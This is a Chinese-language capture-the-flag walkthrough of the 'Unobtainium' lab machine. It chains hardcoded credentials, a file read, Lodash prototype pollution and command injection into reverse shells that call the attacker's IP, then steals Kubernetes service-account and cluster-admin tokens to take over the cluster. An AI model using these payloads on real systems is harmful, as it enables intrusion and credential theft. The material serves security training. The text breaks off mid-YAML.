1 2 3 4 5 ip a 10.129.136.226 TARGET="10.129.136.226"
Unobtainium 01.信息搜集 靶机发现 目标靶机 IP 为 10.129.136.226,首先使用 fscan 进行全端口扫描:
1 2 3 4 5 fscan -h $TARGET > fscan.log 22,80,8443,10250 grep -Eo '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+:[0-9]+' result.txt | sed 's/^.*://' | sort -nu
fscan 发现 4 个开放端口:22 (SSH)、80 (HTTP)、8443 (HTTPS/K8s API)、10250 (Kubelet)。其中 8443 和 10250 端口提示目标可能运行 Kubernetes 集群。
02.渗透打点 端口扫描 使用 Nmap 对发现端口进行详细服务版本探测:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 sudo nmap -sT -sV -sC -O -p 22,80,8443,10250 $TARGET -oA nmapscan/detailPORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA) | 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA) |_ 256 18:cd :9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Unobtainium |_http-server-header: Apache/2.4.41 (Ubuntu) 8443/tcp open ssl/http Golang net/http server | fingerprint-strings: | FourOhFourRequest: | HTTP/1.0 401 Unauthorized | Audit-Id: 5b636fef-a8a9-40e6-8f2b-168c9d181588 | Cache-Control: no-cache, private | Content-Type: application/json | Date: Sat, 11 Jul 2026 06:11:09 GMT | Content-Length: 129 | {"kind" :"Status" ,"apiVersion" :"v1" ,"metadata" :{},"status" :"Failure" ,"message" :"Unauthorized" ,"reason" :"Unauthorized" ,"code" :401} | GenericLines, Help, LPDString, RTSPRequest, SSLSessionReq: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0 401 Unauthorized | Audit-Id: 7ee8793c-aaa8-47a0-a04b-f6a0ce0c6f57 | Cache-Control: no-cache, private | Content-Type: application/json | Date: Sat, 11 Jul 2026 06:11:04 GMT | Content-Length: 129 | {"kind" :"Status" ,"apiVersion" :"v1" ,"metadata" :{},"status" :"Failure" ,"message" :"Unauthorized" ,"reason" :"Unauthorized" ,"code" :401} | HTTPOptions: | HTTP/1.0 401 Unauthorized | Audit-Id: 128e2c02-9abd-4a5a-a0c4-5ba05095782d | Cache-Control: no-cache, private | Content-Type: application/json | Date: Sat, 11 Jul 2026 06:11:07 GMT | Content-Length: 129 |_ {"kind" :"Status" ,"apiVersion" :"v1" ,"metadata" :{},"status" :"Failure" ,"message" :"Unauthorized" ,"reason" :"Unauthorized" ,"code" :401} |_http-title: Site doesn't have a title (application/json). | ssl-cert: Subject: commonName=k3s/organizationName=k3s | Subject Alternative Name: DNS:kubernetes, DNS:kubernetes.default, DNS:kubernetes.default.svc, DNS:kubernetes.default.svc.cluster.local, DNS:localhost, DNS:unobtainium, IP Address:10.129.136.226, IP Address:10.43.0.1, IP Address:127.0.0.1 | Not valid before: 2022-08-29T09:26:11 |_Not valid after: 2027-07-11T06:05:04 | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Server returned status 401 but no WWW-Authenticate header. 10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API) | ssl-cert: Subject: commonName=unobtainium | Subject Alternative Name: DNS:unobtainium, DNS:localhost, IP Address:127.0.0.1, IP Address:10.129.136.226 | Not valid before: 2022-08-29T09:26:11 |_Not valid after: 2027-07-11T06:05:05 |_http-title: Site doesn' t have a title (text/plain; charset=utf-8).1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service sudo nmap -Pn -sV -A -p 80 -T4 $TARGET PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Unobtainium |_http-server-header: Apache/2.4.41 (Ubuntu) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type : general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19 Network Distance: 2 hops TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 555.30 ms 10.10.16.1 2 556.70 ms 10.129.136.226
关键发现:
8443 端口 :K3s API Server(SSL 证书 CN=k3s),返回 Kubernetes API 标准 JSON 响应(401 Unauthorized)。需要 ServiceAccount Token 或有效凭据才能访问。
10250 端口 :Kubelet API 端点,可用于直接与节点上的 Pod 交互(需 nodes/proxy 权限)。
80 端口 :Apache httpd,标题为 “Unobtainium”,是主要 Web 入口。
UDP 扫描 1 sudo nmap -sU --top-ports 20 $TARGET -oA nmapscan/udp
1 2 3 4 5 PORT STATE SERVICE 53/udp closed domain 67/udp closed dhcps 68/udp open|filtered dhcpc 69/udp open|filtered tftp
UDP 层面未发现明显可利用的服务。
03.渗透测试 信息枚举与源码审计 应用发现与初步探测 访问 http://10.129.136.226/downloads/,发现一个校验文件(checksum.txt)和三个不同格式的 Linux 软件包:
1 2 3 c9fe8a2bbc66290405803c3d4a37cf28 unobtainium_1.0.0_amd64.deb d61b48f165dab41af14c49232975f6a1 unobtainium_1.0.0_amd64.snap 9e35724c18f9f98192f0412c89ba54c7 unobtainium-1.0.0.x86_64.rpm
三种包格式的区别:
.deb (Debian/Ubuntu)与 .rpm (RHEL/CentOS)—— 不同 Linux 发行版的原生包格式,功能内容一致,仅打包规范不同。
.snap (Canonical Snap)—— 通用容器化包格式,自带所有依赖、沙箱运行、权限受限、支持自动更新,体积通常比 deb/rpm 大。
下载并安装 .deb 包进行分析:
1 wget http://10.129.136.226/downloads/unobtainium_debian.zip
注意:该二进制为 x86 架构,需在对应架构环境下运行。
安装后执行应用:
1 /opt/unobtainium/unobtainium
启动后弹出错误提示 “Unable to reach unobtainium.htb”,说明应用需要解析 unobtainium.htb 域名。添加本地 hosts 记录:
1 echo "10.129.136.226 unobtainium.htb" | sudo tee -a /etc/hosts
重新运行应用,界面包含 “Message Log” 和 “Todo” 功能,显示 JSON 格式数据。应用的行为在一定程度上反映了服务器端的实际状态。
Electron 应用逆向 该应用为 Electron 框架构建,资源文件通常打包为 app.asar,位于 /opt/unobtainium/resources/。使用 asar 工具解包:
1 2 3 sudo npm install -g asar cd /opt/unobtainium/resources/ asar extract app.asar output/
查看 output/package.json 确认入口文件为 index.js。继续查看 src/js/todo.js,发现核心 API 请求逻辑,包含硬编码凭据:
1 2 3 4 5 6 7 8 9 $.ajax({ url: 'http://unobtainium.htb:31337/todo', type: 'post', data: JSON.stringify({ "auth": {"name": "felamos", "password": "Winter2021"}, "filename": "todo.txt" }), ... })
客户端源码中硬编码了 API 凭据 felamos / Winter2021,且 /todo 端点接受 filename 参数,疑似存在任意文件读取漏洞。
任意文件读取验证 使用 curl 直接调用 API 接口读取 todo.txt:
1 2 3 curl -X POST http://unobtainium.htb:31337/todo \ -H 'Content-Type: application/json' \ -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}'
返回内容:
1 2 3 4 5 6 7 1. Create administrator zone. 2. Update node JS API Server. 3. Add Login functionality. 4. Complete Get Messages feature. 5. Complete ToDo feature. 6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1\n 7. Improve security
确认任意文件读取可用。继续读取服务器主源码文件 index.js:
1 2 3 curl -X POST http://unobtainium.htb:31337/todo \ -H 'Content-Type: application/json' \ -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"index.js"}'
API 源码分析 获取到完整的 index.js 源码后,识别出以下关键信息:
用户体系:
1 2 3 4 const users = [ {name: 'felamos', password: 'Winter2021'}, {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true}, ];
felamos 为普通用户,无特殊权限。
admin 拥有 canDelete 和 canUpload 权限,但密码为随机生成(Math.random().toString(32)),无法直接登录。
API 路由:
路由
方法
功能
所需权限
/
GET
获取 messages 列表
无
/
PUT
创建 message(_.merge 合并)
Auth
/
DELETE
删除 message
Auth + canDelete
/upload
POST
上传文件(调用 gsutil)
Auth + canUpload
/todo
POST
读取文件(fs.readFileSync)
Auth
完整源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 var root = require("google-cloudstorage-commands"); const express = require('express'); const { exec } = require("child_process"); const bodyParser = require('body-parser'); const _ = require('lodash'); const app = express(); var fs = require('fs'); const users = [ {name: 'felamos', password: 'Winter2021'}, {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true}, ]; let messages = []; let lastId = 1; function findUser(auth) { return users.find((u) => u.name === auth.name && u.password === auth.password); } app.use(bodyParser.json()); app.get('/', (req, res) => { res.send(messages); }); app.put('/', (req, res) => { const user = findUser(req.body.auth || {}); if (!user) { res.status(403).send({ok: false, error: 'Access denied'}); return; } const message = { icon: '__', }; _.merge(message, req.body.message, { id: lastId++, timestamp: Date.now(), userName: user.name, }); messages.push(message); res.send({ok: true}); }); app.delete('/', (req, res) => { const user = findUser(req.body.auth || {}); if (!user || !user.canDelete) { res.status(403).send({ok: false, error: 'Access denied'}); return; } messages = messages.filter((m) => m.id !== req.body.messageId); res.send({ok: true}); }); app.post('/upload', (req, res) => { const user = findUser(req.body.auth || {}); if (!user || !user.canUpload) { res.status(403).send({ok: false, error: 'Access denied'}); return; } filename = req.body.filename; root.upload("./",filename, true); res.send({ok: true, Uploaded_File: filename}); }); app.post('/todo', (req, res) => { const user = findUser(req.body.auth || {}); if (!user) { res.status(403).send({ok: false, error: 'Access denied'}); return; } filename = req.body.filename; testFolder = "/usr/src/app"; fs.readdirSync(testFolder).forEach(file => { if (file.indexOf(filename) > -1) { var buffer = fs.readFileSync(filename).toString(); res.send({ok: true, content: buffer}); } }); }); app.listen(3000); console.log('Listening on port 3000...');
原型链污染 (Lodash _.merge) 源码审计发现两个关键攻击面:
1. 原型链污染 — _.merge
PUT / 路由中,_.merge(message, req.body.message, {...}) 将用户可控的 req.body.message 合并到 message 对象。Lodash 的 _.merge 在特定版本中存在原型链污染漏洞:当合并对象中包含 constructor.prototype(或 __proto__)路径时,可向 Object.prototype 注入任意属性。
admin 用户拥有 canDelete: true 和 canUpload: true,但密码未知。通过原型链污染将这两个属性注入全局 Object 原型,即可使 felamos 用户”继承” admin 权限:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 _.merge(message, req.body.message, { id: lastId++, timestamp: Date.now(), userName: user.name, }); # message 初始为 {icon: '__'},通过 _.merge 合并用户可控的 req.body.message。Lodash 的 merge 存在原型链污染漏洞,可注入 __proto__ 属性 { "auth": {"name": "felamos", "password": "Winter2021"}, "message": { "__proto__": { "canDelete": true, "canUpload": true } } }
至此,felamos 获得了与 admin 等价的权限,可调用 /upload 和 /delete 路由。
2. 命令注入 — /upload 路由
/upload 调用了第三方库 google-cloudstorage-commands(root.upload("./", filename, true)),该库内部通过 child_process.exec 执行 gsutil 命令:
1 2 3 4 5 6 7 8 9 10 function upload(inputDirectory, bucket, force = false) { return new Promise((yes, no) => { let _path = path.resolve(inputDirectory) let _rn = force ? '-r' : '-Rn' let _cmd = exec(`gsutil -m cp ${_rn} -a public-read ${_path} ${bucket}`) _cmd.on('exit', (code) => { yes() }) }) }
filename 参数直接拼接到 shell 命令中,无任何过滤,导致命令注入。
注意:该应用使用的 Lodash 版本可能较旧(< 4.17.12),部分版本中 __proto__ 被过滤,应改用 constructor.prototype 路径实现原型污染。
命令注入与初始立足点 结合原型链污染与命令注入,构建完整攻击链。首先通过 constructor.prototype 路径污染原型获取 admin 权限:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 curl -X PUT http://unobtainium.htb:31337/ \ -H 'Content-Type: application/json' \ -d '{ "auth": {"name": "felamos", "password": "Winter2021"}, "message": { "text": "test", "constructor": { "prototype": { "canUpload": true, "canDelete": true } } } }' # 在攻击机监听 nc -lv 9001 # 执行 payload(注意替换你的 IP 和端口) echo 'bash -i >& /dev/tcp/10.10.17.11/9001 0>&1' | base64 # YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4xMS85MDAxIDA+JjEK curl -X POST http://unobtainium.htb:31337/upload \ -H 'Content-Type: application/json' \ -d '{ "auth": {"name": "felamos", "password": "Winter2021"}, "filename": "& echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4xMS85MDAxIDA+JjEK | base64 -d | bash" }' {"ok":true,"Uploaded_File":"& echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4xMS85MDAxIDA+JjEK | base64 -d | bash"}%
成功获得反向 Shell。当前以 root 身份运行在容器内,user.txt 即位于当前目录,说明 /root 目录通过 hostPath 挂载自宿主机。升级 Shell:
1 python -c "import pty;pty.spawn('/bin/bash')"
Kubernetes 环境探测 环境中存在 Kubernetes ServiceAccount 凭证挂载路径 /var/run/secrets/kubernetes.io/serviceaccount/,确认当前处于 K8s Pod 内部:
1 2 3 4 var/run/secrets/kubernetes.io/kubernetes.io/serviceaccount ca.crt namespace token
检查环境变量获取 API Server 地址:
1 2 3 4 5 6 7 8 9 env | grep KUBERNETES KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_SERVICE_PORT=443 KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443 KUBERNETES_PORT_443_TCP_PROTO=tcp KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1 KUBERNETES_SERVICE_HOST=10.43.0.1 KUBERNETES_PORT=tcp://10.43.0.1:443 KUBERNETES_PORT_443_TCP_PORT=443
背景知识 :Kubernetes 默认将 ServiceAccount 凭证(Token + CA 证书 + Namespace)挂载到 /var/run/secrets/kubernetes.io/serviceaccount,容器内进程可通过这些凭据与 API Server 通信。
尝试直接调用 Kubelet API(10250 端口)列出所有 Pod:
1 2 3 4 5 6 7 8 9 10 11 TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) NODE_IP="10.129.136.226" CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace) # curl -s https://${NODE_IP}/api/v1/namespaces/$NS/pods/webapp-deployment-9546bc7cb-b7k2g --cacert $CA -H "Authorization: Bearer $TOKEN" # 尝试通过 Kubelet API 列出所有 Pod(绕过 API Server) curl -sk "https://${NODE_IP}:10250/pods" -H "Authorization: Bearer $TOKEN" Forbidden (user=system:serviceaccount:default:default, verb=get, resource=nodes, subresource=proxy)
Kubelet 的 10250 端口提供与 API Server 等价的 Pod 管理接口,但需要 nodes/proxy 权限,当前 ServiceAccount 权限不足。
将凭证文件拷贝到本地,便于后续使用 kubectl 进行更系统的集群枚举:
1 2 3 4 5 cat token | base64 echo ".." | base64 -d > token cat ca.crt | base64 echo ".." | base64 -d > ca.crt
集群枚举 (webapp Pod) 使用当前 Pod 的 ServiceAccount Token 通过 kubectl 查询自身权限:
1 2 3 4 5 6 7 8 kubectl --token="$(cat token)" --certificate-authority=ca.crt --server=https://10.129.136.226:8443 auth can-i --list Resources Non-Resource URLs Resource Names Verbs selfsubjectaccessreviews.authorization.k8s.io [] [] [create] selfsubjectrulesreviews.authorization.k8s.io [] [] [create] namespaces [] [] [get list] [/api/*] [] [get] [/apis/*] [] [get] [/openapi/*] [] [get]
当前权限分析:
权限
说明
selfsubjectaccessreviews / selfsubjectrulesreviews create
仅能查询自身权限(auth can-i 底层实现)
namespaces get/list
可列出所有 Namespace
/api/*、/apis/* 等 get
只读访问 API 发现端点
不包含 pods、services、secrets、configmaps 等
无法读取集群内部资源
首先枚举所有 Namespace:
1 2 3 4 5 6 7 8 kubectl --token="$(cat token)" --certificate-authority=ca.crt --server=https://10.129.136.226:8443 get namespaces NAME STATUS AGE default Active 3y316d kube-system Active 3y316d kube-public Active 3y316d kube-node-lease Active 3y316d dev Active 3y316d
重点关注 dev 和 kube-system 命名空间。检查在 dev 命名空间中的权限:
1 2 3 4 kubectl --token="$(cat token)" --certificate-authority=ca.crt --server=https://10.129.136.226:8443 auth can-i --list -n dev namespaces [] [] [get list] pods [] [] [get list]
在 dev 命名空间中拥有 get/list pods 权限。列出 dev namespace 中所有 Pod:
1 2 3 4 5 6 kubectl --token="$(cat token)" --certificate-authority=ca.crt --server=https://10.129.136.226:8443 get pods -n dev -o wide NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES devnode-deployment-776dbcf7d6-7gjgf 1/1 Running 6 (2y257d ago) 3y316d 10.42.0.69 unobtainium <none> <none> devnode-deployment-776dbcf7d6-g4659 1/1 Running 6 (2y257d ago) 3y316d 10.42.0.68 unobtainium <none> <none> devnode-deployment-776dbcf7d6-sr6vj 1/1 Running 6 (2y257d ago) 3y316d 10.42.0.70 unobtainium <none> <none>
Dev 命名空间下有 3 个运行中的 Pod。验证当前 Pod 与目标 Pod 之间的网络连通性:
1 2 PING 10.42.0.69 (10.42.0.69) 56(84) bytes of data. 64 bytes from 10.42.0.69: icmp_seq=1 ttl=64 time=0.263 ms
尝试通过 31337 端口(原应用的 NodeJS API 端口)访问 dev Pod:
1 2 3 curl -X POST http://10.42.0.69:31337/todo \ -H 'Content-Type: application/json' \ -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}'
不可达。查看 Pod 详细配置:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 kubectl --token="$(cat token)" --certificate-authority=ca.crt --server=https://10.129.136.226:8443 describe pod devnode-deployment-776dbcf7d6-7gjgf -n dev Name: devnode-deployment-776dbcf7d6-7gjgf Namespace: dev Priority: 0 Service Account: default Node: unobtainium/10.129.136.226 Start Time: Mon, 29 Aug 2022 17:32:21 +0800 Labels: app=devnode pod-template-hash=776dbcf7d6 Annotations: <none> Status: Running IP: 10.42.0.69 IPs: IP: 10.42.0.69 Controlled By: ReplicaSet/devnode-deployment-776dbcf7d6 Containers: devnode: Container ID: docker://6c22469b2fa7cf679b07b7a658ca4469ef167dafdd22e8241c14a34598ea01f6 Image: localhost:5000/node_server Image ID: docker-pullable://localhost:5000/node_server@sha256:e965afd6a7e1ef3093afdfa61a50d8337f73cd65800bdeb4501ddfbc598016f5 Port: 3000/TCP Host Port: 0/TCP State: Running Started: Sat, 11 Jul 2026 14:05:38 +0800 Last State: Terminated Reason: Error Exit Code: 137 Started: Fri, 27 Oct 2023 23:17:50 +0800 Finished: Fri, 27 Oct 2023 23:24:53 +0800 Ready: True Restart Count: 6 Environment: <none> Mounts: /root/ from user-flag (rw) /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-snd89 (ro) Conditions: Type Status Initialized True Ready True ContainersReady True PodScheduled True Volumes: user-flag: Type: HostPath (bare host directory volume) Path: /opt/user/ HostPathType: kube-api-access-snd89: Type: Projected (a volume that contains injected data from multiple sources) TokenExpirationSeconds: 3607 ConfigMapName: kube-root-ca.crt Optional: false DownwardAPI: true QoS Class: BestEffort Node-Selectors: <none> Tolerations: node.kubernetes.io/not-ready:NoExecute op=Exists for 300s node.kubernetes.io/unreachable:NoExecute op=Exists for 300s Events: <none>
关键发现:容器暴露端口为 3000/TCP(默认端口),而非 31337。31337 是原 webapp Pod 中 NodePort Service 对外暴露的端口。改用 3000 端口重试:
1 2 3 curl -X POST http://10.42.0.69:3000/todo \ -H 'Content-Type: application/json' \ -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}'
成功!Dev Pod 上运行了相同的 NodeJS 应用,凭据复用有效。
横向移动 (dev 命名空间) 对 dev 命名空间下的 Pod 重复原型链污染 + 命令注入攻击,获取多个 Shell。首先上传 nc 到 webapp Pod(便于后续操作):
1 curl http://10.10.17.11:8080/nc -o /tmp/nc
生成多个反向 Shell payload(分别监听 9002、9003、9004):
1 2 3 4 5 6 7 8 9 10 11 12 13 # webapp2 echo 'bash -i >& /dev/tcp/10.10.17.11/9002 0>&1' | base64 YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4xMS85MDAyIDA+JjEK (9002) YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4xMS85MDAzIDA+JjEK (9003) YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4xMS85MDA0IDA+JjEK (9004) curl -X POST http://unobtainium.htb:31337/upload \ -H 'Content-Type: application/json' \ -d '{ "auth": {"name": "felamos", "password": "Winter2021"}, "filename": "& echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4xMS85MDAyIDA+JjEK | base64 -d | bash" }'
验证 dev Pod 凭据复用(同一套 felamos/Winter2021 可认证),执行原型链污染获取上传权限:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 curl -X PUT http://10.42.0.69:3000/ \ -H 'Content-Type: application/json' \ -d '{ "auth": {"name": "felamos", "password": "Winter2021"}, "message": { "text": "test", "constructor": { "prototype": { "canUpload": true, "canDelete": true } } } }'
向 dev Pod 注入反向 Shell:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 # dev1 nc -lvnp 8001 echo 'bash -i >& /dev/tcp/10.42.0.71/8001 0>&1' | base64 YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40Mi4wLjcxLzgwMDEgMD4mMQo= curl -X POST http://10.42.0.69:3000/upload \ -H 'Content-Type: application/json' \ -d '{ "auth": {"name": "felamos", "password": "Winter2021"}, "filename": "& echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40Mi4wLjcxLzgwMDEgMD4mMQo= | base64 -d | bash" }' # dev2 echo 'bash -i >& /dev/tcp/10.42.0.71/8003 0>&1' | base64 YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40Mi4wLjcxLzgwMDIgMD4mMQo= curl -X POST http://10.42.0.69:3000/upload \ -H 'Content-Type: application/json' \ -d '{ "auth": {"name": "felamos", "password": "Winter2021"}, "filename": "& echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40Mi4wLjcxLzgwMDMgMD4mMQo= | base64 -d | bash" }'
进入 dev Pod 后提取其 ServiceAccount Token(dev namespace 的 default ServiceAccount 可能拥有不同于 webapp namespace 的权限):
1 2 3 4 5 6 cd /var/run/secrets/kubernetes.io/serviceaccount/ cat token | base64 echo ".." | base64 -d > token cat ca.crt | base64 echo ".." | base64 -d > ca.crt
集群提权 (cluster-admin) Dev Pod 中未发现 flag 文件,下一步目标是 kube-system 命名空间。使用 dev Pod 的 Token 向 API Server(10.129.136.226:8443)查询在 kube-system 中的权限:
1 2 3 4 5 6 7 8 9 10 11 12 # 读取对system的权限 kubectl --token="$(cat token)" --certificate-authority=ca.crt --server=https://10.129.136.226:8443 auth can-i --list -n kube-system secrets [] [] [get list] # 列出 kube-system 中的所有 Secret kubectl --token="$(cat token)" --certificate-authority=ca.crt --server=https://10.129.136.226:8443 get secrets -n kube-system NAME TYPE DATA AGE unobtainium.node-password.k3s Opaque 1 3y316d ... default-token-h5tf2 kubernetes.io/service-account-token 3 3y316d c-admin-token-b47f7 kubernetes.io/service-account-token 3 3y316d k3s-serving kubernetes.io/tls 2 117m
Dev 的 ServiceAccount 在 kube-system 中拥有 get/list secrets 权限。发现两个关键 Secret:
c-admin-token-b47f7 :cluster-admin 的 ServiceAccount Token,获取后即拥有集群完全控制权(*.* [*])。
unobtainium.node-password.k3s :K3s 节点密码,可能用于节点级别的操作。
读取 cluster-admin Token:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 TOKEN=token CA=ca.crt SERVER=https://10.129.136.226:8443 # 读 c-admin-token(cluster-admin) kubectl --token="$TOKEN" --certificate-authority=$CA --server=$SERVER get secret c-admin-token-b47f7 -n kube-system -o json { "apiVersion": "v1", "data": { "ca.crt": "LS0t..LS0K", "namespace": "a3ViZS1zeXN0ZW0=", "token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkNJNkluUnFTRlowT1RoblpFTlZjRGg0U1hsdFRHaGZVMGhFWDNBMlVYQmhNRzAzWDJweFVWWXRNSGxyWTJjaWZRLmV5SnBjM01pT2lKcmRXSmxjbTVsZEdWekwzTmxjblpwWTJWaFkyTnZkVzUwSWl3aWEzVmlaWEp1WlhSbGN5NXBieTl6WlhKMmFXTmxZV05qYjNWdWRDOXVZVzFsYzNCaFkyVWlPaUpyZFdKbExYTjVjM1JsYlNJc0ltdDFZbVZ5Ym1WMFpYTXVhVzh2YzJWeWRtbGpaV0ZqWTI5MWJuUXZjMlZqY21WMExtNWhiV1VpT2lKakxXRmtiV2x1TFhSdmEyVnVMV0kwTjJZM0lpd2lhM1ZpWlhKdVpYUmxjeTVwYnk5elpYSjJhV05sWVdOamIzVnVkQzl6WlhKMmFXTmxMV0ZqWTI5MWJuUXVibUZ0WlNJNkltTXRZV1J0YVc0aUxDSnJkV0psY201bGRHVnpMbWx2TDNObGNuWnBZMlZoWTJOdmRXNTBMM05sY25acFkyVXRZV05qYjNWdWRDNTFhV1FpT2lJek1UYzNPR1F4TnkwNU1EaGtMVFJsWXpNdE9UQTFPQzB4WlRVeU16RTRNR0l4TkdNaUxDSnpkV0lpT2lKemVYTjBaVzA2YzJWeWRtbGpaV0ZqWTI5MWJuUTZhM1ZpWlMxemVYTjBaVzA2WXkxaFpHMXBiaUo5LmZrYV9VVWNlSUpBbzN4bUZsOFJYbmNXRXNaQzNXVVJPdzV4NmRtZ1FoXzgxZWFtMXh5eHFfaWxJejZDajZIN3Y1QmpjZ0lpd3NXVTl1MTN2ZVk2ZEZFck9zZjFJMTBuQURxWkQ2NlZRMjRJNlRMcUZhc1RwblJIR19leldLOFV1WHJaY0hCdTRIcmloNExBYTJycE9SbTh4UkF1TlZFbWliWU5HaGpfUE5lWjZFV1FKdzduODdsaXIybFljcUdFWTExa1hCUlNpbFJVMWdOaFdibktvS1JlR19PVGhpUzVjQ28yZHM4S0RYNkJad3hFcGZXNEE3ZktDLVNkTFlRcTZfaTJFemtWb0JnOFZrMk1sY0doTi0wX3VlcnI2clBiU2k5ZmFRTm9LT1pCWVlmVkhHR00zUURDQWszRHUtWXRCeWxvQkNmVHc4WHlsRzlFdVRndGdaQQ==" }, "kind": "Secret", "metadata": { "annotations": { "kubernetes.io/service-account.name": "c-admin", "kubernetes.io/service-account.uid": "31778d17-908d-4ec3-9058-1e523180b14c" }, "creationTimestamp": "2022-08-29T09:32:33Z", "name": "c-admin-token-b47f7", "namespace": "kube-system", "resourceVersion": "707", "uid": "7778ef55-db34-406d-b256-1704ec78236e" }, "type": "kubernetes.io/service-account-token" } # base64 -d > passtoken # 用 cluster-admin token 获取完全权限 (直接passtoken也行) ADMIN_TOKEN=$(kubectl --token="$TOKEN" --certificate-authority=$CA --server=$SERVER get secret c-admin-token-b47f7 -n kube-system -o jsonpath='{.data.token}' | base64 -d) # 验证权限 kubectl --token="$ADMIN_TOKEN" --certificate-authority=$CA --server=$SERVER auth can-i --list Resources Non-Resource URLs Resource Names Verbs *.* [] [] [*] [*] [] [*] selfsubjectaccessreviews.authorization.k8s.io [] [] [create] selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
*.* [*] 和 [*] [*] —— 已获得 Kubernetes 集群的完全控制权限。
使用 cluster-admin 权限进行全局探测:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 # 1. 列出所有 namespace kubectl --token="$ADMIN_TOKEN" --certificate-authority=$CA --server=$SERVER get ns # 2. 列出所有 secret(找 flag) kubectl --token="$ADMIN_TOKEN" --certificate-authority=$CA --server=$SERVER get secrets --all-namespaces # 3. 列出所有 pod(看有没有 flag 容器) kubectl --token="$ADMIN_TOKEN" --certificate-authority=$CA --server=$SERVER get pods --all-namespaces -o wide kube-system backup-pod 0/1 CrashLoopBackOff 60 (4m41s ago) 3y316d 10.42.0.64 unobtainium # 4. 看看back kubectl --token="$ADMIN_TOKEN" --certificate-authority=$CA --server=$SERVER get pod backup-pod -n kube-system -o yaml apiVersion: v1 kind: Pod metadata: creationTimestamp: "2022-08-29T09:32:41Z" name: backup-pod namespace: kube-system resourceVersion: "5085" uid: a7929b0e-58d5-428d-ae72-ee5330903ab8 spec: containers: - image: localhost:5000/dev-alpine imagePullPolicy: IfNotPresent name: alpine resources: {} terminationMessagePath: /dev/termination-log terminationMessagePolicy: File volumeMounts: - mountPath: /var/run/secrets/kubernetes.io/serviceaccount name: 